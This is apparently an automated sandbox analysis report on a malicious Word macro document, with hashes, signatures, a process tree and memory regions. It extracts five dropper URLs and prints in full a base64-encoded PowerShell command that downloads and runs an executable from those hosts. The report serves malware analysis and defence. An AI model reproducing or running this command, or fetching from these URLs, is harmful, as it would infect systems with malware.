Analysis

  • max time kernel
    108s
  • max time network
    88s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-06-2022 01:45

General

  • Target

    6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf.doc

  • Size

    136KB

  • MD5

    28d038b8af4c15606af45f46288044ab

  • SHA1

    ec2f0e61f236865b5ea16aa610775ff5bebbaec5

  • SHA256

    6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf

  • SHA512

    640afe19a0240b953e500d200464f58819638310bad31dcf3ca80e70c565ff7e9da6636557a09350ead017a7843ba58d7b4ba130b46f46f51eb5983dd6ebedcb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://drmarins.com/engl/pCAdOLWLJ/

exe.dropper

http://hybridbusinesssolutions.com.au/cgi-bin/t6ye0j_wyhf4yw-2/

exe.dropper

http://durakbufecengelkoy.com/wp-includes/GrIBQTnoO/

exe.dropper

http://performancevitality.net/partner/rq2totv_bryhdqjc2-17320/

exe.dropper

http://tnrkentonode.com/wp-admin/vxaljneq_f9vcwvsz03-015845519/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB3ADgANQA1ADIAMgBfADkAPQAnAGwAOQBfADUAOQAxADcAMAAnADsAJABBADAAOQA2ADkAOQAgAD0AIAAnADIAOQA5ACcAOwAkAEsANgA0ADgAOAAxADkAMAA9ACcAbwAxAF8AOAAyADcANwAnADsAJAB6ADMAMwA1AF8AOQBfADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAMAA5ADYAOQA5ACsAJwAuAGUAeABlACcAOwAkAFYAMwA1ADEAMgA3AD0AJwBGADkAXwAwADYAMgAyACcAOwAkAE0ANAA3ADgAMQA3AF8ANwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAYABCAGAAYwBMAEkARQBOAFQAOwAkAEQANwAxADUAMwBfADAAPQAnAGgAdAB0AHAAOgAvAC8AZAByAG0AYQByAGkAbgBzAC4AYwBvAG0ALwBlAG4AZwBsAC8AcABDAEEAZABPAEwAVwBMAEoALwBAAGgAdAB0AHAAOgAvAC8AaAB5AGIAcgBpAGQAYgB1AHMAaQBuAGUAcwBzAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALgBhAHUALwBjAGcAaQAtAGIAaQBuAC8AdAA2AHkAZQAwAGoAXwB3AHkAaABmADQAeQB3AC0AMgAvAEAAaAB0AHQAcAA6AC8ALwBkAHUAcgBhAGsAYgB1AGYAZQBjAGUAbgBnAGUAbABrAG8AeQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ARwByAEkAQgBRAFQAbgBvAE8ALwBAAGgAdAB0AHAAOgAvAC8AcABlAHIAZgBvAHIAbQBhAG4AYwBlAHYAaQB0AGEAbABpAHQAeQAuAG4AZQB0AC8AcABhAHIAdABuAGUAcgAvAHIAcQAyAHQAbwB0AHYAXwBiAHIAeQBoAGQAcQBqAGMAMgAtADEANwAzADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB0AG4AcgBrAGUAbgB0AG8AbgBvAGQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgB4AGEAbABqAG4AZQBxAF8AZgA5AHYAYwB3AHYAcwB6ADAAMwAtADAAMQA1ADgANAA1ADUAMQA5AC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAEUAOQA2ADIAMgAwAD0AJwB6ADgAMQA5ADcANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAawA0ADUANwAwADgANwAgAGkAbgAgACQARAA3ADEANQAzAF8AMAApAHsAdAByAHkAewAkAE0ANAA3ADgAMQA3AF8ANwAuAGQATwBXAG4ATABvAEEARABmAEkATABFACgAJABrADQANQA3ADAAOAA3ACwAIAAkAHoAMwAzADUAXwA5AF8AMAApADsAJABIADMANgAwADUAMwAyADUAPQAnAEYAMAA4ADQAXwAwADAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJAB6ADMAMwA1AF8AOQBfADAAKQAuAGwAZQBuAEcAVABIACAALQBnAGUAIAAzADkAOAA4ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAegAzADMANQBfADkAXwAwADsAJABmADEAMwA0ADgAOQAzADAAPQAnAFoANABfADEANAAwADcAXwAnADsAYgByAGUAYQBrADsAJABmADEAOAA2ADkAOQA3ADgAPQAnAHIANwBfADIAMwAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAOABfADQAMwA2AD0AJwB2ADcAXwAxADMAXwA0ADcAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1644

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1644-79-0x000007FEF4950000-0x000007FEF5373000-memory.dmp

      Filesize

      10.1MB

    • memory/1644-86-0x00000000026BB000-0x00000000026DA000-memory.dmp

      Filesize

      124KB

    • memory/1644-85-0x00000000026B4000-0x00000000026B7000-memory.dmp

      Filesize

      12KB

    • memory/1644-84-0x00000000026BB000-0x00000000026DA000-memory.dmp

      Filesize

      124KB

    • memory/1644-83-0x00000000026B4000-0x00000000026B7000-memory.dmp

      Filesize

      12KB

    • memory/1644-82-0x00000000026BB000-0x00000000026DA000-memory.dmp

      Filesize

      124KB

    • memory/1644-81-0x00000000026B4000-0x00000000026B7000-memory.dmp

      Filesize

      12KB

    • memory/1644-80-0x000007FEF3C40000-0x000007FEF479D000-memory.dmp

      Filesize

      11.4MB

    • memory/1672-63-0x000000000616C000-0x000000000616F000-memory.dmp

      Filesize

      12KB

    • memory/1672-74-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-64-0x000000000616C000-0x000000000616F000-memory.dmp

      Filesize

      12KB

    • memory/1672-66-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-67-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-69-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-68-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-70-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-71-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-73-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-72-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-62-0x000000000616C000-0x000000000616F000-memory.dmp

      Filesize

      12KB

    • memory/1672-75-0x000000000616C000-0x000000000616F000-memory.dmp

      Filesize

      12KB

    • memory/1672-77-0x00000000005C5000-0x00000000005C9000-memory.dmp

      Filesize

      16KB

    • memory/1672-54-0x0000000072F11000-0x0000000072F14000-memory.dmp

      Filesize

      12KB

    • memory/1672-61-0x000000007197D000-0x0000000071988000-memory.dmp

      Filesize

      44KB

    • memory/1672-88-0x000000007197D000-0x0000000071988000-memory.dmp

      Filesize

      44KB

    • memory/1672-87-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1672-58-0x0000000075AE1000-0x0000000075AE3000-memory.dmp

      Filesize

      8KB

    • memory/1672-57-0x000000007197D000-0x0000000071988000-memory.dmp

      Filesize

      44KB

    • memory/1672-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1672-55-0x0000000070991000-0x0000000070993000-memory.dmp

      Filesize

      8KB

    • memory/1816-60-0x000007FEFC5C1000-0x000007FEFC5C3000-memory.dmp

      Filesize

      8KB